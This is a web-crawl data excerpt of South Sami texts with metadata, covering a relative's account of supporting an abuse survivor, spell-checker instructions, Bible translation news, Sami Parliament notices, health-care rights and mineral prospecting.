daarpesjim assjaldahkh giejnie akt juekedh jïh dovne raerieh åadtjodh guktie dååpedidh daejnie. Daate joekoen stoere viehkine.\nGeelleme golmen aejkien viehkiejarngesne mïnneme soptsestalleme, jïh annje gujht damta dïhte nuekies. Sutnjan alme stoerre aevhkine orreme. Vuajnam dan veele guktie dah soptsestallemh viehkiehtamme, naa gåhkese jakseme daelie joe. Hijven dïsse goh nænnoestin idtji dan skalta, dah goh åesiem dehtie skaameste jamhkelin jïh goh åadtjoeji govledh ij leah oktegh daej dååjrehtsigujmie. Gaajhke daate dan joekoen hijven dïsse.\nLïhkes olmetjen tsiehkie maahta lyövlehke. Åvtelen saetniesvoete åvtese bööti, dle måedtien aejkien sïjhtim tjåenieh tjöönghkegåetedh jïh barre vualkajidh. Maaje lyövlehke orreme jïh vïenhtemisnie – annje lyövlehke maahta sjïdtedh, dellie leam aavosne manne saetniesvoetem daelie damtem jïh årroejim dan luvnie. Jieleme sagke buerebe sjïdteme mænngan goh daate åvtese bööti. Daelie maehtien aktesne tjabredh leevles gierehtsem giesedh jïh manne maahtam viehkine baalte man jeenjem sæjhta. Dan lea soptsestimmieguejmie giejnie maahta juekedh dam maam sæjhta, dovne jæjhka aaj gosse vearremes assjaldahkh.\nJis datne aervedeminie maam, pryövh tjaebpies-ligke dejnie soptsestidh. Jis ih voestes aejkien læhkedh, baajh annetje jïh pryövh vihth. Årroeh desnie dan alman gaavhtan, guktie jïh man jeenjem – dam jis dïhte galka mieriedidh. Eevtjh dam viehkiem ohtsedh, aellieh goh sarhkesjh. Ringkh viehkiejarngese jis jïjtje daarpesjh giejnie akt soptsestidh, jallh jeatjabidie gïeh seamma tsiehkesne goh datne. Soptsesth soelke jïh ïedtjem vuesehth.\nDaate barkoes jïh dan man lyövlehke, men viehkie gujhth gååvnese jïh dåajvoe badth aaj. Vihkele sån aaj lissiemdidh ih edtjh eejnegen barre dan mietie jïelemem sjïehtehtidh. Aellieh mïsse jïjtjemdh vååjeldehtieh daennie tsiehkesne! Galkh jïjtjesadth aaj astoem vedtedh, jïh astosne dov jïjtjedh ïedtjigujmie tjïskesidh. Guhkie lea geajnoe, men geajnosne giehpebe gosse geektesh. Månnoeh aaj sinsætnan lïhkebasse båateme, jïh dïhte hip hijven domtoe.\nBOEREHKS, VEAKSEHKS JÏH JEARSOES GEELLEMEM GÆJHTAM, JÏH GAAJHKESIDIE MAH VIEHKINE\nJååktan lim ööhpehtæjjaj-gaavnesjimmesne man nomme \"Østlandske lærerstevne\". Dusnie måedtieleejnes håaloeh mejstie åadtjoeji veeljedh goltelidh. Vuaptan sjïdtim aktem sjïere. Dïhte seksuelle irhkemen bïjre jïh soptsestæjja seamma nyjsenæjja goh dïhte gïem lim 9 jaepieh åvtelen golteleminie. Dïsse dam ringkim mænngan goh geelleme munnjan soptsestamme dej irhkemi bïjre, dillie goh gaajhke dan tjeakas, jïh idtji akte gænnah viehkiejarnge sïjhth jallh maehtieh mannine soptsestidh. Dan monnen dovletje soptsestalleme lij joekoen munnjan. Tjoerim gijhtedh.\nHåaloe nahkeme, vaadtsajim dan gåajka gijhtim. \"Ih dån datne mannem mujhtieh, maaje datne mov jieliemasse dan jeenjem dorjeme. 9 jaepieh daan åvtelen håaloem utnih lohkehtæjja-studeentide daesnie. Manne akte dejstie. Dan mænngan mov geelle tjeajne saarnoeji dïhte maana-jïh noerebaelien seksuelleligke irhkesovvi. Alme guktie daarpesjim giejnie akt soptsestidh, idtji badth akte gan viehkiejarngijste asth. Neavresne dutnjan ringkim jïh datne astas-ligke goltelih. Dïhte munnjan dan hijven lij. Sïjhtem barre gijhtedh!\"\nDïhte gihtji mannem guktie dehtie gietjeste orreme jïh manne jis vaestiedim daelie gujht hijven-ligke. Dom dam huvviem gujht jïh muvhtene badth alvas lyövlehke. Daelie hijven, jallh jeenjemasth hijven. Duej voestes jaepiej dam gåessie geekteleejne- muvhtene buerebe jïh muvhtene vearrebe. Guhkiem hijven-ligke jielieminie jïh muvhten aejkien dah geerve biejjieh aaj. Manne tjabrehtim dam, sïjhtim gaajhkem nåakem åvtese båetedh, idtji badth dïhte sïjhth saarnodh gan, barre jïjtsisnie utni. Månnoeh tjoptedimen jïh manne beelhten nualan sjïdtim. Dillie dle gaajhke tjoeri åvtese. Månnoeh laktjere idtji galkh monnen maana irhkedæjjam råakedh. Guhkies jïh leevles boelhke sjïdti. Ihkie maam luvnem vadteme jis geellemem luvnem vuajneme tjelmiejgujmie mujjehtamme dan geekten minngeben jaepien. Læhka dle jeenje jeatjebe mij tjoevki. Dåarjoejarnge irhkeldh almide hip akte. Desnie jeenjem viehkiem åadtjoeji, dovne giejnie akt soptsestidh jïh terapijedåehkesne aaj meatan årrodh, goh dan gåhkese lij båateme ahte dïsse aaj göölege. Dovne viehkiem jïh dåarjoem aaj åadtjoeji irhkeme-aamhtesi bæjhkoehtimmine. Gæjhtam dijjem gïeh desnie barkede, dijjieh joekoen! Dïhte mubpie tjoevkes bielie lij fuelhkie. Dah alme buerie dåarjojne orreme. Idtji akte dejstie jiehtieh idtjin jaehkieh maam geelleme soptsesti. Dïhte dåarjoem åådtjeme ihkebe gubpelde jis. Gæjhtoe dijjide gaajhkesidie! Dïhte minngemes tjoevkes bielie dïhte mij duejtie leevles biejjide nahkehti. Dillie dam goh geellemen irhkedæjja mietiehti jïh laktjoe tjïrrehtovvi. Skalta lij irhkedæjjese bïejesovveme. Dehtie gietjeste barre bueriebasse.\nLyövlehke vuejnedh guktie mov geelle tjabri goh dah irhkeme-aamhtesh tjoerin åvtese. Lyövlehke vuejnedh guktie lij tjabreminie goh tjïehti åvtese buektedh dam mij dan guhkiem tjeakas jïh vöörhkeldh orreme. Manne aerkie jïh hujnesne. Mah badth geellemem bååstede åadtjoem? Mah sån aavone vihth sjædta?\nDaelie, vïjhte jaepieh mænngan goh dåarjoejarngese ringki jïh irhkemi bïjre fualhkan soptsesti, lea hijven. Minngemes golmen jaepien jeenjemasth hijven orreme, jïh buerebe aaj sjædta. Geelle aavosne. Maahta soptsestidh vaejvies aamhtesi bïjre, ij gænnah dan tjarke sorkenh mænngan. Dïhte meatan orreme daam nehtesæjroem tseegkeme, dïhte departemeentine mïnneme irhkeldh olmetji aamhtesidie åehpiedahteme, dïhte NRK:n aereds-saernine guessine orreme, jïh dïhte håaloeh åtneme. Jïjtse dååjrehtsigujmie pryövoe jarkelidh bueriebasse. Vihkielommes gujht; dïhte tjelmiejgujmie daelie mujjehte! Dïhte eatnemen bööremes alma, mov bööremes guejmie jïh dåarjelæjja. Dïhte eatnemen bööremes aehtjie, jearsoe, tjïelke jïh lustes stoere-olmetje. Mijjieh njealjesh dan geerjene. Gæjhtoe, gearahkommes, goh tjabrih jïh tjirrehtih daam leevles aejkiem, guktie vihth abpeluktie meehtih sjïdtedh jïh mijjieh gaajhkesh maehtebe aktesne aavosne. Datne eatnemen veaksahkommes alma (ih dån Pippin aehtjeste veaksahkåbpoe, guktie daakteramme jeahta) jïh manne dan joekoen madtjele datnine! Gæjhtam juktie leah mov!","id":"","dump":"CC-MAIN-2021-17","url":"http:\/\/aarjel.utsattmann.no\/rad-til-parorende\/","date":"2021-04-18T01:57:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-17\/segments\/1618038464146.56\/warc\/CC-MAIN-20210418013444-20210418043444-00526.warc.gz","language":"sma","language_score":1.0000011921,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"sma_Latn_score\": 1.0000011920928955}","num_words":1539,"character_repetition_ratio":0.04,"word_repetition_ratio":0.0,"special_characters_ratio":0.153,"stopwords_ratio":0.078,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Guktie utnedh programmem MS Office 2007:sne\n-\nJis divvundïrrege edtja maehtedh datnem viehkiehtidh, die tjoeverh daatovrem stïlledh saemien gïelesne staeriedidh.\nGosse datne MS Office:m rïhpestamme die diedtiehGranskajïh desnie veeljh Ange språk\n-\nDaelie edtjh veeljedh Samiska jallh Lulesamiska. Vueptesth dellie! Tjoerh geehtedh ahte Identifiera språk automatiskt ij leah veeljesovveme. Jis lea nimhtie, ahte Office iktegisth bååstede jåhta jeatjah gïelide, guktie Divvun-dïrregh eah buektehth staeriedidh.\nDaelie maahta saemien aelkedh tjaeledh jïh provgraamme datnem viehkehte rïekteslaakan tjaeledh. Maahtah veeljedh åelkies båaloem diedtedh baakoej nelnie mej leah rööpses sïevh. Dillie naemhtie våajnoe:\n-\njallh maahtah staeriedimmiedïrregem aelkiehtidh sjïere klaasesne. Diedtieh dellie. Destie sjædta:","id":"","dump":"CC-MAIN-2021-21","url":"https:\/\/divvun.no\/sma\/korrektur\/userdocs\/win\/use-msoff-2007.html","date":"2021-05-13T22:32:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-21\/segments\/1620243992514.37\/warc\/CC-MAIN-20210513204127-20210513234127-00268.warc.gz","language":"sma","language_score":1.0000033379,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 1.0000033378601074}","num_words":97,"character_repetition_ratio":0.034,"word_repetition_ratio":0.0,"special_characters_ratio":0.152,"stopwords_ratio":0.062,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Luhkiegøøkte jaepieh dihte Sveerjen\/ Nøørjen gærhkoen gïele tjïerte gïehtelamme jih aejlies gærjam bijbelem, åarjelsaemien gïelese jarkoestidh. Daan våhkoen iedtjeles gielebarkijh Staaresne gaavnesjamme. Dihte åarjelsaemien hearra Bierna Leine Bientie tråjjede.\n– Nov amma! Daan tjåanghkose mijjieh jienebh gïelebarkijh Sveerjen jih Nøørjen bieleste bøøreme, dannasinie sïjhtebe vuesiehtidh guktie barkebe jih sijhtebe aaj govledh guktie dah ussjedieh mijjien jarkoestimme barkoen bijre, Bientie jeahta.\nGïele evtiedimmie\nBaakoste baakose jih raajeste raajese sojjehtieh guktie dah raajesh staaran sjïdtieh. Raarastellieh jih digkiedieh jih aelhkemes sjædta jis latjkoeh, muvhtene aejkien raajesinie tjuerieh vuertedh, vihth ussjedidh jih niekedidh. Raajese maahta jorkestovvedh eah guarkah maam tjaaleme gænnah! Dah jarkoestæjjah sinsætnan vuartasjedtie, dihte voestemes aalka mojjedidh dihte mubpie føørhkede jih minngemes gaajhkesh praahkasedtieh. Bientie jeahta ij leah barre lustes barkoe geerve sån aaj.\n– Mijjieh libie dejpeladtje vuekiem jih gïelem nuhtjeme gåessie bijbele teekstide jarkoestibie. Vuejnebe urreste gïele evtiedimmie sjidteme, daaroen jih saemien gïelesne aaj. Dellie hijven domtoes gosse jeatjah jarkoestæjjah mijjjien barkoem nænnoestehtieh. Bientie jeahta.\nOrre jarkoestæjjah daerpies\nLaila Mattsson Magga akte dejstie jarkoestæjjijste mij guhkiem gïele tjïertesne orreme jih dihte tuhtjie daate lustes barkoe.\n– Tjoerh ensilaakan ussjedidh. Dah båeries bijbele teeksth greske gïelesne, hijvene Bierna daam maahta jih destie greske gielijste, båeries daaroen gïelese jarkoestamme jih geervemes son daejtie guhtseles teekstide guarkedh, magkeres jis åssalommh utnin? Magga jeahta.\nLuhkie gøøkte jaepieh bijbelem jarkoestamme, guktie dihte domtoe?\n– Luste orreme, domtoe daelie manne vïssjehtovveme. Luste vuejnedh nuerebe almetjh diekie båateme, mejtie gieh dejstie sijhtieh jarkoestæjjine barkedh, gieltegs barkoe daate. Magga jeahta.\nNejla Westerfjell, Nåamesjen vuemeste, daan tjåanghkose bøøresovveme.\n– Ahh daate jih bijbeleteekstigujmie jarkoestidh vååjnoe geerve. Dihte gïele tjuara staaran sjidtedh. Dah saemien almetjh tjuerieh hov guarkedh, maam dihte hearra låhka, Nejla føørhkede.\nÅarjelsaemien teekste gærja.\nGolme vielie jaepieh edtjieh aejlies gærjeste jarkoestidh, jaepien 2018 båata dihte åarjelsaemien teekste gærja. Daelie gaavnede daejtie åarjelsaemien bijbele teekstide daan gærhkoen sæjrosne bibeln.no.","id":"","dump":"CC-MAIN-2021-21","url":"https:\/\/www.nrk.no\/sapmi\/vihkeles-jarkoestimmie-barkoe-1.12649784","date":"2021-05-11T02:22:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-21\/segments\/1620243991553.4\/warc\/CC-MAIN-20210510235021-20210511025021-00085.warc.gz","language":"sma","language_score":0.9999675751,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.9999675750732422}","num_words":296,"character_repetition_ratio":0.061,"word_repetition_ratio":0.0,"special_characters_ratio":0.153,"stopwords_ratio":0.071,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Velkomne til et samtale mellom partiene i Sametinget om hva de deres visjoner, løften og planer for sørsamisk område og sørsamiske spørsmål 19 mai kl. 18.00-19.30.\nBuerie båeteme soptsestallemasse gusnie Saemiedigkien politihke krirrieh edtjieh soptsestidh magkeres nïekedassh, ulmieh jïh soejkesjh sijjen leah åarjelsaemien dajvese jïh åarjelsaemien aamhtesi bïjre.\nPresidentkandidaterne er invitert og vi starter opp direkt 18.00 på Zoom.\nSamtalet tolkes mellom sørsamisk og norsk.\nSaemien politihkekrirriej presidentekandidaath leah bööresovveme jïh tsåahka 18.00 zoomesne aelkiejbie.Soptsestalleme toelhkesåvva åarjelsaemiengïeleste–daaroengïelese jïh daaroengïeleste-åarjelsaemiengïelese.\nFølg møtet digitalt:\nDåeredh digitaale tjåanghkoem daesnie:\nLink til Zoom:\nhttps:\/\/zoom.us\/j\/91928964597\nSijti Jarnge holder Aarborten konferansa\/Hattfjelldalskonferansen 2021 digitalt og har delt den opp i tre miniseminar. En med fokus på lovverk og areal, en om politikk og en om kunst. Seminaren er kostnadsfrie og alle er velkomne at delta.\nBakgrund\nHattfjelldalskonferansen ble arrangert første gang i 2004, og den har med noen unntak vært gjennomført hvert år siden. Fra starten av var konferansen et samarbeidsprosjekt mellom Høgskolen i Nesna og Sijti Jarnge, mens andre samarbeidspartnere har variert de ulike årene. Konferansen har alltid hatt hovedbase på Sijti Jarnge i Hattfjelldal, selv om deler av noen konferanser har vært gjennomført andre steder. I år går konferansen for forste gang digitalt, i et samarbeid mellom Nord universitet, Åarjelsaemien vierhtiesøøfoe, Hattfjelldal kommune og Polarsirkelns friluftsråd.\nSijti Jarnge Aarborten konferansem 2021 digitaalelaakan öörnie, jïh dïhte golmen boelhkese juakasovveme.\nAkte boelhke laaki jïh areaali bïjre, mubpie lea politihken bïjre jïh gåalmede lea tjeahpoej\/kåansti bïjre.\nSeminaare lea eevre namhtah jïh vaajtelibie gaajhkesh dovnesh mealtan båetedh.\nGuktie åvtesne\nAarborten konferanse voestes aejkien jaepien 2004 öörnisovvi, jïh dïhte mahte fïerhten jaepien daen raejeste öörnesovveme. Aalkoevistie Sïjti Jarnge Neasnan jillieskuvline ektese vyöki dam konferansenm öörnedh, mænngan leah jeatjah laavenjostemeguejmieh aaj mealtan orreme.Konferanse lea iktegisth Sïjti Jarngesne, Aarbortesne orreme, jïlhts naan boelhkh konferanseste jeatjah lehkesne aaj öörnesovveme. Daen jaapetje konferanse lea digitaale konferanse, jïh dah gieh daen jaepien dam öörnieh: Noerhte Universiteete, Åarjelsaemien vierhtiesåafoe, Aarborten tjïelte jïh Polarsirkelns friluftsråd.","id":"","dump":"CC-MAIN-2021-21","url":"https:\/\/sijtijarnge.no\/sor\/samtale-om-sorsamisk-politikk-pa-aarborten-mini-sessions-2021\/","date":"2021-05-16T19:23:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-21\/segments\/1620243991178.59\/warc\/CC-MAIN-20210516171301-20210516201301-00156.warc.gz","language":"sma","language_score":0.9788800478,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.9788800477981567, \"sme_Latn_score\": 0.016288185492157936}","num_words":310,"character_repetition_ratio":0.068,"word_repetition_ratio":0.0,"special_characters_ratio":0.171,"stopwords_ratio":0.087,"flagged_words_ratio":0.0,"lang_id_score":0.991,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemiedigkie barka ihke saemieh edtjieh åadtjoeh sijjen gïelem, sijjen kultuvrem jïh sijjen siebriedahkejieledem gorredidh jïh evtiedidh.\nStoerretjåanghkoe aalka ruffien 14.b. ts. 09.00 jïh orreje ruffien 18. b. åvtelen ts. 15.00.\nVuartesjh aamhteselæstoem jïh programmem\nIemielaakan Saemiedigkie vuesiehtimmieh tjïrrehte, men suetievaarjelimmien gaavhtan gaajhkh vuesiehtimmieh leah heajhtasovveme. Mïnnh guessine mijjen digitaale vuesiehtimmesne gusnie maahtah ånnetji gåeteste vuejnedh jïh åadtjodh ånnetji vielie daejredh Saemiedigkien barkoen bïjre.\nWatch a digital tour of the Sami Parliament Building, with english subtitles","id":"","dump":"CC-MAIN-2021-25","url":"https:\/\/sametinget.no\/?sprak=14\/","date":"2021-06-16T18:13:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-25\/segments\/1623487625967.33\/warc\/CC-MAIN-20210616155529-20210616185529-00386.warc.gz","language":"sma","language_score":1.0000013113,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.000001311302185}","num_words":72,"character_repetition_ratio":0.058,"word_repetition_ratio":0.0,"special_characters_ratio":0.16,"stopwords_ratio":0.097,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Politihkeles krirrieh jïh læstoeh jïjtjemse ryöjredieh daan tjaktjen tjïelte- jïh fylhkendigkieveeljemasse. Gosse daejrebe ahkedh jienebh voeresh siebriedahkesne sjædta, dellie tjoeperdihks joekoen vaenie båarasåbpoe tjirkijh leah nammoehtamme jearsoes sijjine veeljemelæstojne, Saemiedigkien voereseraerie veanhta.\nNöörjen årroejijstie joe bijjelen 1. millijovnh årrojh bijjelen 60 jaepieh. Dan åvteste vihkeles båarasåbpoe almetjh nuepiem åadtjoeh meatan årrodh dennie politihkeles stuvremesysteemesne. Jïh joekoen gosse tjïelth jïh fylhkh tjåanghkan bïejesuvvieh jïh sagke stuerebe sjidtieh goh daelie, jïh politihkeles nænnoestimmieh enn guhkede mijjeste dorjesuvvieh goh aarebi. Daan biejjien fer vaenie båarasåbpoe almetjh meatan dejnie almetjeveeljeme årgaanine.\nSaemiedigkien voereseraeresne veanhta båarasåbpoe almetjh byöroeh vyljehke årrodh veeljemelæstojne tjåadtjodh jearsoes sijjine guktie dej lea nuepie veeljesovvedh tjïelteståvroej jïh\/jallh fylhkendigkiej sïjse. Gosse læstojne tjåadtjoeh, dej aaj leah jienebh nuepieh veeljesovvedh tjïelti jïh fylhki vueliemoenehtsi sïjse.\nSaemiedigkien voereseraerien mietie lea aaj vihkeles politihkeles krirrieh jïh læstoeh veeljemeprogrammh utnieh mah voeresepolitihkem jarngesne utnieh. Gosse båarasåbpoe almetjh leah meatan politihkeles barkosne voengesne, dah sijhtieh maehtedh meatan årrodh sijjen jieledetsiehkieh evtiedidh tjïeltine jïh fylhkine.\nSaemiedigkien voereseraerie haasta politihkeles krirrieh jïh læstoeh båarasåbpoe almetjh meatan vaeltedh dan politihkeles stuvremesysteemen sïjse jïh voeresepolitihkem hammoedidh fïereguhten veeljemprogrammine.\nPolitiske partier og lister forbereder seg til høstens kommune- og fylkestingsvalg. Når vi vet at det blir stadig flere eldre i samfunnet, er det bekymringsfullt at svært få eldre representanter er nominert på sikre plasser på valglistene, mener Sametingets eldreråd.\nAv Norges befolkning er allerede nå over 1 mill. innbyggere over 60 år. Det er derfor viktig at eldre mennesker får anledning til å være med i det politiske styringssystemet. Og spesielt etter sammenslåing blir kommuner og fylker mye større enn nå og politiske vedtak blir gjort lenger unna oss enn tidligere. I dag er eldre mennesker mye underrepresentert i folkevalgte organer, står det i en pressemelding fra Sametinget.\nSametingets eldreråd mener at eldre folk bør være villige til stille opp på valglister på sikre plasser slik at de har mulighet til å bli valgt inn i kommunestyrer og\/eller i fylkesting. Ved å stå på listene, har de også flere muligheter til å bli valgt inn i kommunenes og fylkenes underutvalg.\nDet som også er viktig for Sametingets eldreråd, er at politiske partier og lister har valgprogrammer som har fokus på eldrepolitikk. Ved at eldre folk deltar i politisk arbeid lokalt, vil de kunne være med på å utvikle sine levekår i kommuner og fylker.\nSametingets eldreråd oppfordrer politiske partier og lister om å inkludere eldre folk i det politiske styringssystemet og å utforme eldrepolitikk i sine respektive valgprogrammer. F","id":"","dump":"CC-MAIN-2021-31","url":"https:\/\/rorosnytt.no\/2019\/02\/19\/","date":"2021-08-05T12:35:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-31\/segments\/1627046155529.97\/warc\/CC-MAIN-20210805095314-20210805125314-00607.warc.gz","language":"sma","language_score":0.9747524261,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9747524261474609, \"nob_Latn_score\": 0.02241814322769642}","num_words":403,"character_repetition_ratio":0.075,"word_repetition_ratio":0.0,"special_characters_ratio":0.149,"stopwords_ratio":0.047,"flagged_words_ratio":0.0,"lang_id_score":0.976,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Samiskt samråd kring förskola\nBarn- och utbildningsförvaltningen välkomnar vårdnadshavare\nmed samiska barn 0-6 år i Östersunds kommun till samråd om\nsamisk förskoleverksamhet.\nSamråd är ett viktigt forum för att den samiska befolkningen ska få\ninflytande och möjligheter att påverka skola och förskola i\nÖstersunds kommun.\nDatum: 15 februari 2021\nPlats: Digitalt möte på Teams.\nTid: 18.00 – 19.30\nAnmälan: Anmäl dig till email@example.com så skickar vi en möteslänk.\nVarmt välkomna önskar\nAnna Rosén, Sakkunnig för förskolefrågor\nCamilla Olofsson, Samisk utvecklingsstrateg\nPatricia Fjellgren, Samisk kurs- och aktivitetssamordnare\nSaemien ektieraerie aarhskuvlen bïjre\nEktieraerie lea vihkeles forume gusnie saemien årrojh edtjieh\nnuepieh åadtjodh nænnoestidh jïh skuvlem jïh aarhskuvlem\ntsevtsedh Staaren tjïeltesne.\nDannasinie Maana- jïh ööhpehtimmiemoenehtse böörie eejhtegh\nmejnie maanah 0-6 jaepieh Staaren tjïeltesne ektieraaran saemien\naarhskuvlen bïjre.\nDatume: Goevte 15b. 2021\nSijjie: Digitale tjåanghkoe Teams.\nTïjje: 18.00 – 19.30\nBïeljelimmie: Bïeljelh firstname.lastname@example.org juktie\ntjåangkoesvaalhtesem åadtjoeh.\nBuerie båeteme vaajtelibie\nAnna Rosén, Aarhskuvlen raerievedtije\nCamilla Olofsson, Saemien eevtiedimmie straatege\nPatricia Fjellgren, Saemien kuvsje jïh dorjemeiktedäjja","id":"","dump":"CC-MAIN-2021-31","url":"https:\/\/www.ostersund.se\/om-webbplatsen\/nyhetsarkiv\/nyhetsarkiv\/2021-02-09-samiskt-samrad-kring-forskola.html","date":"2021-08-03T11:44:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-31\/segments\/1627046154457.66\/warc\/CC-MAIN-20210803092648-20210803122648-00033.warc.gz","language":"sma","language_score":0.9304171205,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 0.9304171204566956, \"swe_Latn_score\": 0.05249537155032158, \"sme_Latn_score\": 0.015449635684490204}","num_words":149,"character_repetition_ratio":0.055,"word_repetition_ratio":0.0,"special_characters_ratio":0.176,"stopwords_ratio":0.081,"flagged_words_ratio":0.0,"lang_id_score":0.952,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daennie antovlogijesne leah naan voernges ektiesaemien teeksth åarjelsaemien gaaltijistie, jih daelie orre gielehaamosne. Nov goh Anders Fjellneren myjhtihke eepose Biejjien maanaj bijre, jih Nils Mattias Anderssonen beagkoes vuelie Åvlavuelien råantjoeh mij daan raajan ajve LP-esne jih CD-esne gååvnesamme.\nVihkeles hov aaj ektiesaemien aerpiemaahtoen tjaalegh jeatjah smaaregistie åarjelsaemiengielese jarjoestamme. Dehtie miereste båeries joejke-teekste meatan, maam suemien hearra Jacob Fellmane govli jih tjeeli mearan lij Utsjohkesne, noerhtesuemesne barkeminie. Soelege jih Nåejtie lea saemien dovletji væhna, mij buerkeste guktie saemieh jijtjh damtin koloniseremen diedtelimmesne. Daan teeksten mohtedimmieh gååvnesieh daaletje jortesinie, nov goh Nils-Aslak Valkeapääen Mov veasoe lea mov vaajmosne, jih hujnies buerkiestimmesne Paulus Utsijen jih Gaebpien Gåstan vaajesine mah soptsestieh guktie saemieh leah eatnemh, jaevrieh jih reaktah dasseme. Seamma vihkeles aaj meatan, mijjien gøøkte beagkoesommes – jih daamhtaj jarkoestamme – saemien joejkeme-teeksth, mah voesteges aejkien diedtesovvin 1673. Måersie faavroe jih Guldnasas leah jienebh tjuetie aejkijste jarkoestamme, jih dellie maaje aaj åarjelsemien gielesne jis!\nDaaletje gærjelesvoeteste aaj veesmedahkem naan voernges saemien tjaelijijstie.\nJarkoestæjjah: Lena Kappfjell jih Åsta Vangberg.\nUtgitt: 2005\nInnbundet\nSider: 135\nSpråk: Sørsamisk\nISBN: 8290625472\nForlag: DAT","id":"","dump":"CC-MAIN-2021-31","url":"https:\/\/www.gavpi.org\/for-voksne-samisk\/840-avtese-jahta.html","date":"2021-07-30T19:36:19Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-31\/segments\/1627046153980.55\/warc\/CC-MAIN-20210730185206-20210730215206-00464.warc.gz","language":"sma","language_score":0.9999284744,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"sma_Latn_score\": 0.9999284744262695}","num_words":169,"character_repetition_ratio":0.039,"word_repetition_ratio":0.0,"special_characters_ratio":0.161,"stopwords_ratio":0.154,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Besök 1177.se, logga in för personliga e-tjänster eller ring 1177 för sjukvårdsrådgivning.\nDatne mij lea bieline aktede nasjonaale unnebelåhkoste, dov lea muvhti veajkoej reakta dov gïelem nuhtjedh gosse healsoedïenesjinie gaskesadth. Vuartesjh daesnie mij lea faamosne ovmessie tsiehkine.\nVästerbetnesne noerh jïh maanah dåarjoem åadtjoeh klaasetjelmide jallh kontaktlinside. Dåarjoe lea dejtie gïeh 20 jaepien nuerebe.\nDatne maahtah habiliteeringem jallh rehabiliteeringem åadtjodh jis dov lea funksjovneheaptoe.\nMaahtah dov vuajnoeh jallh laejhtemh vedtedh jis ih fuakoeh. Maahtah daam darjodh dovne goh skïemtjije jïh åelie.\nSkïemtjefeeleme lea feeleme dov gåetien jïh hoksevedtijen gaskem. Maahtah vuesiehtimmie årrodh jis datne mïnneme dåakteren, baeniedåakteren, kuratovren, skïemtjevïtnesjæjjan jallh fysioterapeuten luvnie. Datne maahtah bussine, tåågine jallh jïjtje bïjline vuelkedh. Dov jïjtje dïedtem dov soejkesjamme mïnneminie mïnnedh. Jis datne healsoesjïeki gaavhtan ih maehtieh ektievalkesinie jallh jïjtje bïjline vuelkedh maahtah reaktam utnedh skïemtjefeelemasse taksine. Dellie daarpesjh vihtiestimmiem hoksevedtiejistie.\nSkïemtjijelaake dutnjien gie skïemtjije. Dïhte buerkeste edtjh bïevnesh åadtjodh dov skïemtjelassen bïjre jïh mah båehtjierdimmieh gååvnesieh. Dellie maahtah meatan årrodh jïh dov hoksem nænnoestidh. Edtjh aaj åadtjodh daejredh gusnie maahtah dov hoksem veeljedh maam daarpesjh.\nJollemaaksoevaarjelimmie skïemtjehoksesne lea datne jeenjemes 1 150 kråvnah skïemtjijemaaksojne maeksedh boelhkem mij lea luhkiegöökte askh. Naan sjïere njoelkedassh gååvnesieh, vuesiehtimmien gaavhtan vaksinasjovnh.","id":"","dump":"CC-MAIN-2021-31","url":"https:\/\/www.1177.se\/sma-se\/Vasterbotten\/other-languages\/other-languages\/regler-och-rattigheter---andra-sprak\/","date":"2021-08-03T04:38:14Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-31\/segments\/1627046154420.77\/warc\/CC-MAIN-20210803030201-20210803060201-00397.warc.gz","language":"sma","language_score":1.0000066757,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 1.0000066757202148}","num_words":189,"character_repetition_ratio":0.051,"word_repetition_ratio":0.0,"special_characters_ratio":0.143,"stopwords_ratio":0.085,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daesnie maahta gullie gååvnesidh, Gudmund Løvøe jeahta, daan plaerese Helgelendingenwww.helg.no\/nyheter\/article7651934.ece jih vielie gïehtjede.\n– Ibie maehtieh jiehtedh,« kroehkh daesnie, daesnie gullie haevtie» Mijjieh edtjebe vïhtesjidh, gusnie mijjieh vienhtebe, gullie jih jeatjah mineralh gååvnesieh.\nSpeanjoeh jih baektie-laantem vïhtesjidh.\nDah geologh barkoeminie jih speanjoeh laantem Aaboertesne vïhtesjidh jih mineralide ohtseminie.\n– Ibie daam dajvem man jijnjem gïehtjeme. Jeatjah almetjh aaj, reaktoem åtneme jih dagkeres mineralh Aarboerten tjïeltesne ohtseme, dihte dotkije Terje Bjerkgårde, Norges geologiske undersøkelse (NGU) jeahta.\nDæjmetje giesien dellie NGU giehtjedi daam jåartam Aarboertesne. Daan jaepien eatnemen-meatehkem haepkine darjoejin.\nDah geologh leah 100 metere guhkies speanjoem gaavneme gusnie 50 metere jassijes tjeehpes sjiffere lea. Daan sjifferen sisnie, maahta gullie jih grafitte 